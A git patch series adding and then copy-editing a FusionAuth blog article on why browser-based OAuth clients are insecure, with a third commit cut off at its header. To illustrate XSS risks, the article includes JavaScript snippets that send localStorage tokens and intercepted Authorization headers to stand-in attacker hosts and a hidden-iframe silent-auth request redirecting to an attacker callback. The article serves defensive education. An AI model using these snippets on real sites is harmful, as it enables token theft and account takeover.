From b6810c9266105554103dd765f21635d6726a06ff Mon Sep 17 00:00:00 2001 From: Niel Thiart Date: Tue, 21 Oct 2025 09:25:22 +0200 Subject: [PATCH 1/7] Add BBOC article --- ...sed-oauth-client-security-architecture.mdx | 337 ++++++++++++++++++ 1 file changed, 337 insertions(+) create mode 100644 astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx diff --git a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx new file mode 100644 index 0000000000..cafbe57046 --- /dev/null +++ b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx @@ -0,0 +1,337 @@ +--- +publish_date: 2025-10-08 +title: "Browser-Based OAuth Clients: The Architecture You Shouldn't Be Using" +htmlTitle: "Browser-Based OAuth Clients: Why This OAuth Architecture is Insecure" +description: Why BBOC is the least secure OAuth pattern, when it's acceptable, how to implement it safely, and how to migrate to secure architectures. +image: /img/blogs/bff/bff-header.png # TODO: replace image +authors: Kim Maida +categories: Education, Security +tags: oauth, security, architecture, browser, javascript, spa, xss +excerpt_separator: "{/* more */}" +--- + +Of all possible browser-based OAuth architectures, the Browser-Based OAuth Clients (BBOC) pattern is the least secure. Despite this, the BBOC pattern remains the most commonly implemented approach due to how convenient it is. This convenience and simplicity also leads to OAuth providers often using BBOC to demonstrate quickstarts and sample code - I can't blame some developers for thinking this is the recommended approach! + +However, BBOC creates unacceptable security risk for any application handling user data. + +The Internet Engineering Task Force (IETF), in its [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps), is explicit in its warning: "This architecture is not recommended for business applications, sensitive applications, and applications that handle personal data." BBOC stores tokens in browser storage, exposing refresh tokens to JavaScript, and creating vulnerabilities that defenders can't fully mitigate. + +{/* more */} + +Several high-profile breaches over the last two years exploited vulnerabilities inherent to BBOC implementations: + +- **January 2025**: DoubleClickjacking attacks bypassed all traditional defenses including X-Frame-Options, Content Security Policy, and SameSite cookies. +- **2024-2025**: ShinyHunters' OAuth refresh token campaign combined social engineering with token theft, affecting organizations that believed their OAuth implementations were secure. +- **January 2024**: Microsoft's Midnight Blizzard breach exploited legacy OAuth applications without multi-factor authentication. +- **May 2024**: The Snowflake breach affected 165 organizations through OAuth misconfigurations and service accounts lacking MFA. + +While not all these breaches involved BBOC specifically, they highlight the risks of OAuth implementations that expose tokens to client-side vulnerabilities. + +This article examines why BBOC is fundamentally insecure, when it becomes unacceptable, how to implement defense-in-depth strategies when forced into BBOC, and how to migrate to architecturally secure patterns. This is part three of a series covering OAuth security architectures. [Part 1](/blog/backend-for-frontend-security-architecture) covered Backend-for-Frontend (BFF) architecture, the most secure pattern. [Part 2](/blog/token-mediating-backend-security-architecture) examined Token-Mediating Backend (TMB), a moderately secure middle ground. + +## Overview of Browser-Based OAuth Clients + +Browser-Based OAuth Clients place the entire OAuth flow in JavaScript code running in the browser. The browser acts as a public OAuth client, obtains tokens directly from the authorization server, and stores all tokens, including sensitive refresh tokens, using browser storage mechanisms. + +This contrasts sharply with the architectures covered earlier in this series: + +- **Backend-for-Frontend (BFF)**: No tokens reach the browser. The backend acts as the OAuth client and stores all tokens server-side. The browser receives only an HttpOnly session cookie. Requests to resource servers are proxied through the backend, which adds access tokens as needed. +- **Token-Mediating Backend (TMB)**: The backend obtains tokens as a confidential client but passes short-lived access tokens to the browser. Refresh tokens remain server-side. +- **Browser-Based OAuth Client (BBOC)**: JavaScript in the browser handles everything - authorization requests, token exchange, token storage, and token refresh. All tokens exist in browser storage. + +Understanding why BBOC creates unacceptable security risk requires understanding the fundamental difference between public and confidential OAuth clients. + +## Public Clients Cannot Maintain Secrets + +BBOC applications are **public clients** in OAuth terminology. A public client cannot maintain the confidentiality of its credentials. Any "secret" embedded in JavaScript code is immediately visible to all users. You can obfuscate code, but obfuscation provides no security - anyone can read the source, inspect network traffic, or step through your code in a debugger. + +This has profound implications. Public clients: + +- Cannot use client secrets in token exchange requests. +- Must rely entirely on PKCE (Proof Key for Code Exchange) for request validation. +- Cannot authenticate to the authorization server in the traditional sense. +- Cannot prevent an attacker with access to the browser from obtaining new tokens. + +Contrast this with confidential clients used in BFF and TMB architectures: + +- Store client secrets server-side where users cannot access them. +- Authenticate to the authorization server using those secrets. +- Operate in an environment you control. + +## Token Exposure Across Architectures + +The critical difference between BBOC and other architectures is what tokens reach the browser: + +| Aspect | BBOC | TMB | BFF | +| ---------------------- | --------------------- | ---------------------- | ----------------------- | +| OAuth client type | Public | Confidential (backend) | Confidential (backend) | +| Tokens in browser | All tokens | Access tokens only | No tokens | +| Client secret | Cannot use | Backend uses secret | Backend uses secret | +| Refresh capability | Browser refreshes | Backend refreshes | Backend refreshes | +| API calls from browser | Direct | Direct | Proxied through backend | +| Session mechanism | Token-based | Cookie + tokens | Cookie only | +| XSS token theft risk | Critical (all tokens) | Medium (access only) | None | +| Security rating | Least secure | Medium security | Most secure | + +In BBOC, every token your application obtains exists in JavaScript-accessible storage. This includes: + +- **Access tokens**: Provide access to APIs for typically 15-60 minutes, sometimes longer. +- **Refresh tokens**: Generate new access tokens, often valid for 30-90 days or longer. +- **ID tokens**: Contain user identity information. + +An attacker who compromises your browser environment gains access to everything. With TMB, an attacker gets access tokens but cannot obtain new ones after they expire. With BFF, an attacker only gets session cookies that require maintaining the session context. With BBOC, an attacker gets refresh tokens that can generate new access tokens indefinitely, even after the user closes the browser. + +## The Many Vulnerabilities of Browser Token Storage + +The IETF states plainly: "localStorage does not protect against unauthorized access from malicious JavaScript, as the attacker would be running code within the same origin, and as such, would be able to read the contents of the localStorage" This understates the problem. Browser storage provides essentially zero protection against credential theft when JavaScript code is compromised. Understanding the attack vectors reveals why no amount of defense can make BBOC secure. + +### Vulnerability 1: Cross-Site Scripting (XSS) Token Theft + +Cross-Site Scripting allows attackers to execute arbitrary JavaScript in your application's context. Once an attacker achieves XSS, stealing tokens from localStorage requires a single line of code: + +```javascript +fetch('https://attacker.com/collect', { + method: 'POST', + body: JSON.stringify({ + access: localStorage.getItem('access_token'), + refresh: localStorage.getItem('refresh_token'), + id: localStorage.getItem('id_token') + }) +}); +``` + +The 2023 HotJar WordPress vulnerability demonstrated the scale of XSS impact. HotJar, a user behavior analytics service, suffered an XSS vulnerability that affected approximately 1 million websites including Microsoft, Adobe, and T-Mobile. Any attacker who exploited the HotJar XSS could execute code on all those sites. If those sites stored OAuth tokens in localStorage, all tokens were immediately compromised. + +XSS vulnerabilities arise from multiple sources: + +- Direct injection through unsanitized user input. +- DOM-based XSS through client-side JavaScript. +- Stored XSS through database content. +- Third-party script compromise. +- Supply chain attacks on dependencies. + +Content Security Policy (CSP) provides defense against some XSS attacks but cannot eliminate the risk. A single CSP bypass, and researchers discover them regularly, exposes all tokens. The fundamental problem is that JavaScript-accessible storage is accessible to all JavaScript, malicious or legitimate. + +### Vulnerability 2: Supply Chain Attacks on the npm Ecosystem + +Modern web applications depend on hundreds or thousands of npm packages. Each dependency represents a potential attack vector. Supply chain attacks have evolved from theoretical concerns to active threats. + +We discussed examples of supply chain attacks in [Part one](/blog/backend-for-frontend-security-architecture) of this series. In short: if you build your application using third-party JavaScript libraries, an attacker who compromises any of those libraries, or any of their dependencies, can execute arbitrary code in your application's context. + +### Vulnerability 3: Persistent Access via Stolen Refresh Tokens + +Access tokens typically expire after 15-60 minutes. This limits the window of unauthorized access - an attacker must use a stolen access token quickly before expiration. Refresh tokens change this calculation completely. + +Refresh tokens often remain valid for 30-90 days or longer. Some refresh tokens never expire until explicitly revoked. An attacker who steals a refresh token gains: + +- Ability to generate new access tokens at will. +- Persistent access that survives access token expiration. +- No requirement to maintain active browser sessions. +- Access that continues until the user notices and revokes tokens. + +The combination of long-lived refresh tokens and browser storage creates catastrophic risk. An XSS attack lasting seconds can steal tokens that provide access for months. + +### Vulnerability 4: Token Storage Options Present a Spectrum of Insecurity + +BBOC implementations must choose where to store tokens. Every option has security implications: + +**In-memory storage**: Stores tokens in JavaScript variables rather than browser APIs. Tokens disappear on page reload, requiring users to re-authenticate. This provides slightly better security, as tokens only exist while JavaScript is running. However, the user experience degradation is severe. Every page reload, tab refresh, or navigation forces re-authentication. Users find this unacceptable for any non-trivial application. Security improvements are minimal since XSS attacks still access in-memory variables. + +**SessionStorage**: Isolates tokens to a single browser tab. Tokens don't persist across tab closures. Different tabs require separate authentications. This provides tab-level isolation but remains fully vulnerable to XSS within that tab context. An attacker compromising any tab gains full token access for that session. + +**LocalStorage**: The most common choice. Tokens persist across page reloads and tab closures. LocalStorage shares tokens across all tabs in the same origin. This provides the best user experience - users authenticate once and remain authenticated across sessions. It also provides the worst security - tokens persist indefinitely until explicitly cleared, and all JavaScript in the origin can access them. XSS attacks on any page in your domain expose all tokens. + +**IndexedDB**: Offers similar capabilities to localStorage with more complex APIs and larger storage capacity. IndexedDB provides no security advantages over localStorage for token storage. The same XSS and JavaScript access concerns apply. The added complexity provides no security benefit. + +**Service Workers**: Operate in a separate JavaScript context from the DOM. Service workers can intercept network requests and cache data. They provide the most secure browser-based storage option because: + +- Service worker code runs in an isolated context. +- DOM-based XSS cannot directly access service worker scope. +- Registration requires HTTPS and user agent validation. + +However, service workers still have vulnerabilities: + +- **Registration manipulation**: Attackers can register malicious service workers if they achieve code execution in the page context. +- **Proxy attacks**: Compromised service workers intercept all network traffic including token requests. +- **Update exploitation**: Attackers who compromise the service worker update process can inject malicious code. + +Service workers provide the best *browser-based* storage security. This is still fundamentally less secure than not storing tokens in the browser at all. + +The token storage choice presents a false dilemma. In-memory offers better security but terrible UX. LocalStorage offers better UX but worse security. Service workers offer a middle ground but still expose tokens to JavaScript contexts. The only secure solution is not storing tokens in the browser - which requires moving beyond BBOC to TMB or BFF architectures. + +### Vulnerability 5: Prototype Pollution and API Interception + +JavaScript's prototype-based inheritance creates unique attack vectors. Attackers who achieve code execution can manipulate core JavaScript functionality to intercept tokens without directly accessing storage: + +```javascript +// Override fetch to intercept all HTTP requests +const originalFetch = window.fetch; +window.fetch = function(...args) { + // Check if request includes Authorization header + const [url, options] = args; + if (options?.headers?.Authorization) { + // Exfiltrate the token + originalFetch('https://attacker.example.com/collect', { + method: 'POST', + body: JSON.stringify({ + token: options.headers.Authorization, + url: url + }) + }); + } + // Call original fetch to avoid detection + return originalFetch.apply(this, args); +}; +``` + +This attack doesn't access localStorage directly. It intercepts tokens as your application uses them. Similar attacks can override: + +- `XMLHttpRequest.prototype.open` and `XMLHttpRequest.prototype.send`. +- `WebSocket` constructors. +- `EventTarget.prototype.addEventListener`. +- Any prototype method your application uses for authenticated requests. + +Prototype pollution attacks succeed even when you store tokens in JavaScript closures or private variables. The interception occurs at the network layer, not the storage layer. + +### Vulnerability 6: Silent Authentication Abuse + +OAuth providers support "silent authentication" to refresh user sessions without visible redirects. Applications implement this using hidden iframes that load the authorization endpoint. If the user has an active session, the authorization server immediately returns new tokens without user interaction. + +Silent authentication improves user experience by preventing repeated login prompts. It also creates an attack vector. An attacker who achieves XSS can: + +```javascript +// Create hidden iframe for silent authentication +const iframe = document.createElement('iframe'); +iframe.style.display = 'none'; +iframe.src = 'https://auth-provider.example.com/authorize?' + + 'client_id=YOUR_CLIENT_ID&' + + 'response_type=code&' + + 'redirect_uri=https://attacker.example.com/callback&' + + 'prompt=none&' + // Silent authentication + 'state=attacker_state'; +document.body.appendChild(iframe); +``` + +The IETF identifies this as Section 5.1.3 "Acquisition and Extraction of New Tokens." Even if the attacker cannot directly access existing tokens in your application's storage, they can: + +1. Initiate a new authorization flow with attacker-controlled parameters. +2. Use `prompt=none` to avoid user interaction. +3. Redirect the response to an attacker-controlled endpoint. +4. Obtain fresh tokens without the user's awareness. + +This attack bypasses token storage security entirely. The attacker doesn't steal existing tokens, they acquire new ones using the user's active authorization server session. + +### Security Effectiveness Comparison + +The IETF OAuth for Browser-Based Applications specification documents seven attack scenarios and evaluates mitigation effectiveness for each architecture: + +| Attack Scenario | BBOC Mitigation | TMB Mitigation | BFF Mitigation | +| ------------------------------ | --------------- | -------------- | -------------- | +| XSS token theft | ❌ | ⚠️ | ✅ | +| Supply chain compromise | ❌ | ⚠️ | ✅ | +| Persistent refresh token theft | ❌ | ✅ | ✅ | +| Silent authentication abuse | ❌ | ✅ | ✅ | +| Prototype pollution | ❌ | ⚠️ | ✅ | +| CSRF bypass attacks | ❌ | ⚠️ | ⚠️ | +| Client code hijacking | ❌ | ❌ | ❌ | + +**Overall effectiveness:** + +- **BBOC**: 0% mitigation (vulnerable to all documented attacks). +- **TMB**: average mitigation (protects refresh tokens, prevents new token acquisition). +- **BFF**: above average mitigation (fails only on client hijacking inherent to all web applications). + +## IETF Guidance: When Browser-Based Clients Become Unacceptable + +The IETF provides authoritative OAuth guidance through multiple specifications. Two documents define current best practices: + +- **OAuth 2.0 Security Best Current Practice** (RFC 9700, published January 2025): Consolidates security recommendations across the OAuth ecosystem. +- **OAuth 2.0 for Browser-Based Applications** (draft-25, RFC expected soon): Specific guidance for browser implementations. + +### RFC 9700 Mandates + +RFC 9700 establishes mandatory security requirements for all OAuth implementations: + +**Authorization Code with PKCE is required for all OAuth clients**. The specification states: "Although PKCE was designed as a mechanism to protect native apps, this advice applies to all kinds of OAuth clients, including web applications." Public clients like BBOC must use PKCE without exception. Even confidential clients should implement PKCE for defense-in-depth. + +**Implicit grant is officially deprecated**. RFC 9700 explicitly states: "The implicit grant (response type 'token') and other response types causing the authorization server to issue access tokens in the authorization response are vulnerable to access token leakage and access token replay." + +The implicit grant placed tokens directly in URL fragments, which are exposed through browser history, cloud sync services, third-party scripts monitoring URL changes, and referrer headers on subsequent navigation. + +Implicit grant emerged when CORS adoption was limited and browsers couldn't make cross-origin token exchange requests. CORS is now universal. The Authorization Code flow with PKCE provides better security with equivalent functionality. Implicit grant has no remaining justification. + +**Token storage guidance is explicit**. RFC 9700 recommends service workers as the most secure browser storage location when tokens must exist in the browser. Service workers provide a separate execution context from the DOM, offering some protection against DOM-based XSS. However, the specification acknowledges this provides only partial protection. Service workers remain vulnerable to registration manipulation, update exploitation, and proxy attacks. + +You can spot implicit grant implementations by looking for `response_type=token` in authorization requests. Any application using implicit grant must be re-architected to use Authorization Code with PKCE. + +### IETF's Guidance in OAuth 2.0 for Browser-Based Applications + +The OAuth for Browser-Based Applications specification provides explicit guidance on BBOC: + +> "This architecture is not recommended for business applications, sensitive applications, and applications that handle personal data." + +This is not a conditional warning. The IETF states that BBOC creates unacceptable risk for any application handling user data. The vulnerability is architectural, not implementation-dependent. No amount of security controls can overcome the fundamental decision to store credentials in JavaScript-accessible locations. + +## BBOC Fails Regulatory Requirements + +Many regulatory frameworks explicitly or implicitly require secure credential storage. BBOC's architectural vulnerabilities make compliance extremely difficult or impossible for regulated industries: + +- **HIPAA (Healthcare)**: BBOC violates multiple HIPAA Security Rule requirements for protecting electronic Protected Health Information (ePHI), including unique user identification, transmission security, and workforce access management. +- **PCI DSS 4.0 (Payment Card Industry)**: Even if cardholder data itself isn't in browser storage, the credentials providing access to that data must be protected. BBOC implementations fail multiple PCI DSS requirements for protecting stored cardholder data and preventing broken authentication. +- **SOC 2 (Service Organizations)**: SOC 2 Trust Service Criteria require strong access controls and confidentiality protections. BBOC's exposure of refresh tokens violates these criteria unless extensive compensating controls are in place. +- **GDPR (EU Data Protection)**: Article 32 mandates appropriate technical measures to protect personal data. BBOC's vulnerabilities create significant compliance challenges, especially regarding breach notification and data protection impact assessments. + +## Migration from BBOC to Secure Architectures + +Moving from BBOC to TMB or BFF requires systematic changes to authentication flows, token management, and API integration. The migration complexity depends on your target architecture and application structure. + +### Migration to Token-Mediating Backend (TMB) + +Backend endpoints handle OAuth flows using PKCE, storing refresh tokens in server-side sessions while returning short-lived access tokens to the frontend. Frontend implements in-memory token storage with automatic refresh logic that calls the backend token endpoint when tokens near expiration. With TMB much of the frontend OAuth logic remains similar to BBOC, and the migration focuses on moving token exchange and storage to the backend. The frontend remains complex due to direct API calls requiring access token management. + +### Migration to Backend-for-Frontend (BFF) + +BFF requires roughly double the TMB effort, implementing a universal proxy endpoint that validates sessions, manages token refresh automatically, and forwards all API requests to resource servers. Frontend code is simplified to a basic API client routing calls through the proxy with session cookies for authentication - no token management needed. Additional challenges include performance optimization through connection pooling and caching to address added proxy latency. + +## When Forced into BBOC + +If you're forced into a BBOC architecture due to legacy constraints, third-party requirements, or other factors, implement these strategies to reduce (but not eliminate) risk: + +1. **Short-Lived Access Tokens**: Minimize access token lifetimes and implement refresh token rotation to limit exposure from stolen tokens. +2. **Content Security Policy (CSP)**: Implement strong, nonce-based CSP to block XSS attacks and restrict script execution. +3. **Subresource Integrity (SRI)**: Use SRI for all third-party scripts to prevent supply chain attacks from compromising your application. +4. **Rate Limiting**: Apply aggressive rate limiting on authentication endpoints to slow brute force and token theft attempts. +5. **DPoP (Demonstrating Proof of Possession)**: Implement DPoP to bind tokens to specific clients, preventing token replay by attackers. + +We're hesitant to even list these strategies because they provide only marginal security improvements. If you're investing significant effort into these controls, you're better off investing in migrating to TMB or BFF architectures. + +## Decision Framework + +Use this framework to determine the appropriate architecture for your application: + +1. **Application handles PII, PHI, or financial data?** → BFF required, no exceptions. These data types demand maximum security. Regulatory compliance typically mandates BFF. +2. **Requires compliance (SOC 2, HIPAA, PCI DSS, GDPR)?** → BFF required. Compliance frameworks increasingly view token-in-browser as control deficiency. +3. **Otherwise** → TMB minimum, BFF preferred. + +Any production application handling user data should not use BBOC. + +## Conclusion and How FusionAuth Can Help + +Browser-Based OAuth Clients served a purpose during OAuth's early years (2012-2019) when CORS limitations forced implicit grant flows and browser-based implementations. That era ended definitively by 2019 when CORS achieved universal support and Authorization Code with PKCE became viable for browser applications. + +The security landscape in 2025 makes BBOC's vulnerabilities unacceptable for any application handling user data. XSS attacks have evolved from rare occurrences to constant threats. Supply chain attacks demonstrate that trusting your own code isn't sufficient - dependencies matter. + +At FusionAuth, we strongly recommend migrating all applications away from BBOC to BFF. The security benefits are substantial, and the risk reduction justifies the migration effort. FusionAuth's [Hosted Backend](/docs/apis/hosted-backend) provides a production-ready BFF implementation with detailed documentation to facilitate this transition. + +## Further Reading + +Explore these resources for deeper understanding of OAuth security architectures: + +- [Demo repository](https://github.com/kmaida/auth-architecture) - Working implementations of BBOC, TMB, and BFF patterns with security comparisons. +- [Part 1: Backend-for-Frontend (BFF) Security Architecture](/blog/backend-for-frontend-security-architecture) - Comprehensive guide to the most secure OAuth pattern. +- [Part 2: Token-Mediating Backend Security Architecture](/blog/token-mediating-backend-security-architecture) - Middle-ground approach balancing security and implementation complexity. +- [IETF OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps) - Authoritative specification defining browser OAuth security patterns. +- [RFC 9700: OAuth 2.0 Security Best Current Practice](https://datatracker.ietf.org/doc/html/rfc9700) - Comprehensive security requirements for OAuth implementations. +- [RFC 9449: OAuth 2.0 Demonstrating Proof of Possession](https://datatracker.ietf.org/doc/html/rfc9449) - DPoP specification for sender-constrained tokens. +- [FusionAuth Hosted Backend Documentation](/docs/apis/hosted-backend) - Production BFF implementation with detailed integration guides. +- [OWASP OAuth 2.0 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html) - Practical security guidance for OAuth implementations. \ No newline at end of file From e31ba9819a1572b31f3dc71dc07bef22d9c99b08 Mon Sep 17 00:00:00 2001 From: tatenda Date: Wed, 22 Oct 2025 09:40:40 +0200 Subject: [PATCH 2/7] updates --- ...sed-oauth-client-security-architecture.mdx | 44 +++++++++---------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx index cafbe57046..3dfd8c10cb 100644 --- a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx +++ b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx @@ -14,7 +14,7 @@ Of all possible browser-based OAuth architectures, the Browser-Based OAuth Clien However, BBOC creates unacceptable security risk for any application handling user data. -The Internet Engineering Task Force (IETF), in its [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps), is explicit in its warning: "This architecture is not recommended for business applications, sensitive applications, and applications that handle personal data." BBOC stores tokens in browser storage, exposing refresh tokens to JavaScript, and creating vulnerabilities that defenders can't fully mitigate. +The Internet Engineering Task Force (IETF), in its [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps) draft, is explicit in its warning: "This architecture is not recommended for business applications, sensitive applications, and applications that handle personal data." BBOC stores tokens in browser storage, exposing refresh tokens to JavaScript, and creating vulnerabilities that defenders can't fully mitigate. {/* more */} @@ -27,7 +27,7 @@ Several high-profile breaches over the last two years exploited vulnerabilities While not all these breaches involved BBOC specifically, they highlight the risks of OAuth implementations that expose tokens to client-side vulnerabilities. -This article examines why BBOC is fundamentally insecure, when it becomes unacceptable, how to implement defense-in-depth strategies when forced into BBOC, and how to migrate to architecturally secure patterns. This is part three of a series covering OAuth security architectures. [Part 1](/blog/backend-for-frontend-security-architecture) covered Backend-for-Frontend (BFF) architecture, the most secure pattern. [Part 2](/blog/token-mediating-backend-security-architecture) examined Token-Mediating Backend (TMB), a moderately secure middle ground. +This article examines why BBOC is fundamentally insecure, when it becomes unacceptable, how to implement defense-in-depth strategies when forced into BBOC, and how to migrate to architecturally secure patterns. This is part three of a series covering OAuth security architectures. [Part 1](/blog/backend-for-frontend-security-architecture) covered Backend-for-Frontend (BFF) architecture, the most secure pattern. [Part 2](/blog/auth-architecture-part2-TMB) examined Token-Mediating Backend (TMB), a moderately secure middle ground. ## Overview of Browser-Based OAuth Clients @@ -52,7 +52,7 @@ This has profound implications. Public clients: - Cannot authenticate to the authorization server in the traditional sense. - Cannot prevent an attacker with access to the browser from obtaining new tokens. -Contrast this with confidential clients used in BFF and TMB architectures: +Contrast this with **confidential clients** used in BFF and TMB architectures: - Store client secrets server-side where users cannot access them. - Authenticate to the authorization server using those secrets. @@ -63,7 +63,7 @@ Contrast this with confidential clients used in BFF and TMB architectures: The critical difference between BBOC and other architectures is what tokens reach the browser: | Aspect | BBOC | TMB | BFF | -| ---------------------- | --------------------- | ---------------------- | ----------------------- | +|------------------------|-----------------------|------------------------|-------------------------| | OAuth client type | Public | Confidential (backend) | Confidential (backend) | | Tokens in browser | All tokens | Access tokens only | No tokens | | Client secret | Cannot use | Backend uses secret | Backend uses secret | @@ -100,7 +100,7 @@ fetch('https://attacker.com/collect', { }); ``` -The 2023 HotJar WordPress vulnerability demonstrated the scale of XSS impact. HotJar, a user behavior analytics service, suffered an XSS vulnerability that affected approximately 1 million websites including Microsoft, Adobe, and T-Mobile. Any attacker who exploited the HotJar XSS could execute code on all those sites. If those sites stored OAuth tokens in localStorage, all tokens were immediately compromised. +The 2024 HotJar WordPress vulnerability demonstrated the scale of XSS impact. HotJar, a user behavior analytics service, suffered an XSS vulnerability that affected approximately 1 million websites including Microsoft, Adobe, and T-Mobile. Any attacker who exploited the HotJar XSS could execute code on all those sites. If those sites stored OAuth tokens in localStorage, all tokens were immediately compromised. XSS vulnerabilities arise from multiple sources: @@ -137,9 +137,9 @@ BBOC implementations must choose where to store tokens. Every option has securit **In-memory storage**: Stores tokens in JavaScript variables rather than browser APIs. Tokens disappear on page reload, requiring users to re-authenticate. This provides slightly better security, as tokens only exist while JavaScript is running. However, the user experience degradation is severe. Every page reload, tab refresh, or navigation forces re-authentication. Users find this unacceptable for any non-trivial application. Security improvements are minimal since XSS attacks still access in-memory variables. -**SessionStorage**: Isolates tokens to a single browser tab. Tokens don't persist across tab closures. Different tabs require separate authentications. This provides tab-level isolation but remains fully vulnerable to XSS within that tab context. An attacker compromising any tab gains full token access for that session. +**sessionStorage**: Isolates tokens to a single browser tab. Tokens don't persist across tab closures. Different tabs require separate authentications. This provides tab-level isolation but remains fully vulnerable to XSS within that tab context. An attacker compromising any tab gains full token access for that session. -**LocalStorage**: The most common choice. Tokens persist across page reloads and tab closures. LocalStorage shares tokens across all tabs in the same origin. This provides the best user experience - users authenticate once and remain authenticated across sessions. It also provides the worst security - tokens persist indefinitely until explicitly cleared, and all JavaScript in the origin can access them. XSS attacks on any page in your domain expose all tokens. +**localStorage**: The most common choice. Tokens persist across page reloads and tab closures. localStorage shares tokens across all tabs in the same origin. This provides the best user experience - users authenticate once and remain authenticated across sessions. It also provides the worst security - tokens persist indefinitely until explicitly cleared, and all JavaScript in the origin can access them. XSS attacks on any page in your domain expose all tokens. **IndexedDB**: Offers similar capabilities to localStorage with more complex APIs and larger storage capacity. IndexedDB provides no security advantages over localStorage for token storage. The same XSS and JavaScript access concerns apply. The added complexity provides no security benefit. @@ -153,11 +153,11 @@ However, service workers still have vulnerabilities: - **Registration manipulation**: Attackers can register malicious service workers if they achieve code execution in the page context. - **Proxy attacks**: Compromised service workers intercept all network traffic including token requests. -- **Update exploitation**: Attackers who compromise the service worker update process can inject malicious code. +- **Update exploitation**: Attackers who compromise the service worker update process and can inject malicious code. Service workers provide the best *browser-based* storage security. This is still fundamentally less secure than not storing tokens in the browser at all. -The token storage choice presents a false dilemma. In-memory offers better security but terrible UX. LocalStorage offers better UX but worse security. Service workers offer a middle ground but still expose tokens to JavaScript contexts. The only secure solution is not storing tokens in the browser - which requires moving beyond BBOC to TMB or BFF architectures. +The token storage choice presents a false dilemma. In-memory offers better security but terrible UX. localStorage offers better UX but worse security. Service workers offer a middle ground but still expose tokens to JavaScript contexts. The only secure solution is not storing tokens in the browser - which requires moving beyond BBOC to TMB or BFF architectures. ### Vulnerability 5: Prototype Pollution and API Interception @@ -197,7 +197,7 @@ Prototype pollution attacks succeed even when you store tokens in JavaScript clo OAuth providers support "silent authentication" to refresh user sessions without visible redirects. Applications implement this using hidden iframes that load the authorization endpoint. If the user has an active session, the authorization server immediately returns new tokens without user interaction. -Silent authentication improves user experience by preventing repeated login prompts. It also creates an attack vector. An attacker who achieves XSS can: +Silent authentication improves user experience by preventing repeated login prompts. It also creates an attack vector. An attacker who achieves XSS can abuse this pattern by executing the following code: ```javascript // Create hidden iframe for silent authentication @@ -226,14 +226,14 @@ This attack bypasses token storage security entirely. The attacker doesn't steal The IETF OAuth for Browser-Based Applications specification documents seven attack scenarios and evaluates mitigation effectiveness for each architecture: | Attack Scenario | BBOC Mitigation | TMB Mitigation | BFF Mitigation | -| ------------------------------ | --------------- | -------------- | -------------- | -| XSS token theft | ❌ | ⚠️ | ✅ | -| Supply chain compromise | ❌ | ⚠️ | ✅ | -| Persistent refresh token theft | ❌ | ✅ | ✅ | -| Silent authentication abuse | ❌ | ✅ | ✅ | -| Prototype pollution | ❌ | ⚠️ | ✅ | -| CSRF bypass attacks | ❌ | ⚠️ | ⚠️ | -| Client code hijacking | ❌ | ❌ | ❌ | +|--------------------------------|-----------------|----------------|----------------| +| XSS token theft | ❌ | ⚠️ | ✅ | +| Supply chain compromise | ❌ | ⚠️ | ✅ | +| Persistent refresh token theft | ❌ | ✅ | ✅ | +| Silent authentication abuse | ❌ | ✅ | ✅ | +| Prototype pollution | ❌ | ⚠️ | ✅ | +| CSRF bypass attacks | ❌ | ⚠️ | ⚠️ | +| Client code hijacking | ❌ | ❌ | ❌ | **Overall effectiveness:** @@ -327,11 +327,11 @@ At FusionAuth, we strongly recommend migrating all applications away from BBOC t Explore these resources for deeper understanding of OAuth security architectures: -- [Demo repository](https://github.com/kmaida/auth-architecture) - Working implementations of BBOC, TMB, and BFF patterns with security comparisons. +- [Demo repository](https://github.com/kmaida/auth-architecture) - Working implementations of BFF, TMB, and BBOC patterns with security comparisons. - [Part 1: Backend-for-Frontend (BFF) Security Architecture](/blog/backend-for-frontend-security-architecture) - Comprehensive guide to the most secure OAuth pattern. -- [Part 2: Token-Mediating Backend Security Architecture](/blog/token-mediating-backend-security-architecture) - Middle-ground approach balancing security and implementation complexity. +- [Part 2: Token-Mediating Backend Security Architecture](/blog/auth-architecture-part2-TMB) - Middle-ground approach balancing security and implementation complexity. - [IETF OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps) - Authoritative specification defining browser OAuth security patterns. - [RFC 9700: OAuth 2.0 Security Best Current Practice](https://datatracker.ietf.org/doc/html/rfc9700) - Comprehensive security requirements for OAuth implementations. - [RFC 9449: OAuth 2.0 Demonstrating Proof of Possession](https://datatracker.ietf.org/doc/html/rfc9449) - DPoP specification for sender-constrained tokens. -- [FusionAuth Hosted Backend Documentation](/docs/apis/hosted-backend) - Production BFF implementation with detailed integration guides. -- [OWASP OAuth 2.0 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html) - Practical security guidance for OAuth implementations. \ No newline at end of file +- [FusionAuth Hosted Backend documentation](/docs/apis/hosted-backend) - Production BFF implementation with detailed integration guides. +- [OWASP OAuth 2.0 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html) - Practical security guidance for OAuth implementations. From dc6128ec9ae5cf4946fe2d14afb14ab9e0664dfb Mon Sep 17 00:00:00 2001 From: bethh0rn Date: Mon, 27 Oct 2025 18:10:55 +0200 Subject: [PATCH 3/7] Edit: Browser-Based OAuth Client: The architecture you shouldn't be using --- ...sed-oauth-client-security-architecture.mdx | 216 ++++++++++-------- 1 file changed, 115 insertions(+), 101 deletions(-) diff --git a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx index 3dfd8c10cb..a3502b08a9 100644 --- 